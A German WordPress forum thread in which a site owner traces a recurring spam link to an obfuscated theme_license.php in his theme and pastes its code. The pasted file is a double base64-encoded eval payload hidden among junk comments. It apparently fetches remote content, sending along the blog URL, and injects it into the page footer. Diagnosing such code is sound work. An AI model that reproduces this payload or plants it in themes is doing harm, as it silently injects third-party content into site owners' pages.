Unerwünschter Link oben Links in der Ecke [Gehackt?]

Hallo Leute,

ich betreibe unter http://www.nachhilfe-maerz.de WP als CMS für mein Nachhilfeinstitut. Ich habe die Version 2.8.4 mit dem angepassten Theme "Artificial Intelligence". Ich hatte bis vor kurzem nur die Plugins: cforms und Wordpress Backup installiert, habe aber dann noch folgende installiert:

• Add Your Own Headers
• Google Analytics for WordPress
• Google XML Sitemaps
• o42-clean-umlauts
• WordPress.com Stats
• WP-Polls
• wpSEO

um meine Seite besser für Suchmaschinen zu konfigurieren.
Das Problem ist allerdings, dass ich jetzt oben links in der Ecke einen seltsamen Link zu http://www.drugprofiles.net/ habe und keine Ahnung wo der herkommen soll.

Hat jemand eine Idee?

Danke schon mal und schöner Gruß,

Christoph

PS: Bin zwar Informatiker, aber kein großer PHP Kenner.

Hallo Domi,

das mit den Plugins hab ich schon gemacht und sogar wenn ich alle deaktiviere, ist der Link noch da. Ich hatte auch schon in der header.php (und allen anderen Dateien in dem Theme) nach dem wraps geguckt und auch da nichts gefunden. Ebenfalls habe ich eine saubere Wordpress Version "über" das Verzeichnis kopiert und das hat alles nichts gebracht. Könnte es sein, dass das irgendwo in der DB steht und eine header Funktion das dadurch mit in die Seite schreibt?

Es muss allerdings irgendwo im Theme stecken, weil der Link weg ist, wenn ich das Theme wechsle (wie jetzt im Moment).

Gruß

Christoph

Zitat von Arthur Spooner

Durchsuche dochmal die DB nach 'drugs'. Vielleicht wird etwas gefunden...

Ah, das war ne gute Idee. Habs tatsächlich gefunden. Und zwar in der wp_options, unter:

credit_text2      <div id="wraps"><a href='http://www.drugprofiles.n...

gefunden. Krass, woher kommt das denn? Hatte das bis kurzem (mit dem gleichem Theme) nicht.

Zitat von Arthur Spooner

Kannst ja auch mal die Functions.php in ein anderes Theme kopieren und dann schauen, ob dort der Link auch auftaucht. Dann ist es auf jeden Fall eine der Funktionen und vermutlich mit DB Hintergrund.

An der functions.php scheint es nicht zu liegen, weil ich die gerade ins aktuelle Theme kopiert habe und dort erscheint der Link nicht.

Ich kann die Zeile zwar jetzt aus der DB rauswerfen, aber würde trotzdem gerne wissen wo das herkommt.

Vielleicht noch ne Idee?

Hallo,

ich habe das jetzt mal aus der DB entfernt und es ist nach einiger Zeit (oder nachdem ich irgendwas gemacht habe) wieder da. Wie kann ich denn prüfen, wie das in die DB kommt und vor allem wie dass dann auf die Seite kommt?

Gruß

Christoph

Hi Leute,

ich glaube ich habs jetzt. Es ist kein Virus sondern wohl im Theme so drin. Die Idee mit dem wpantivirus hat mich drauf gebracht, weil mir dadurch die Zeile:

Zitat

eval(base64_decode($f1));

aufgefallen ist und im sidebar eine Zeile mit:

Zitat

if(!function_exists("get_credits")) { eval(base64_decode($f1));

wohl dann die "credits" reinschreibt.
Wenn ich allerdings die theme_license.php lösche, dann streikt das Theme mit

Zitat

Warning: main(theme_licence.php) [function.main]: failed to open stream: No such file or directory in .../wp-content/themes/artificialintelligence/functions.php on line 2

Ich habe die Datei auch schon versucht mit einem Online base64 Codiere zu entschlüsseln, aber hat leider nicht funktioniert. Hier ist der Code:

Zitat

<?/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>

Da theme ist unter der Creative Commons Attribution 3.0 license (hier) lizenziert und ich habe auch nichts an den Authorangaben geändert. Also ich zumindest nicht bewusst.

Wie könnte ich das mit den Link den vollständig entfernen? Ich denke sollte doch zu machen sein, oder? Vielleicht sollte ich auch einfach mal die Autoren anschreiben :)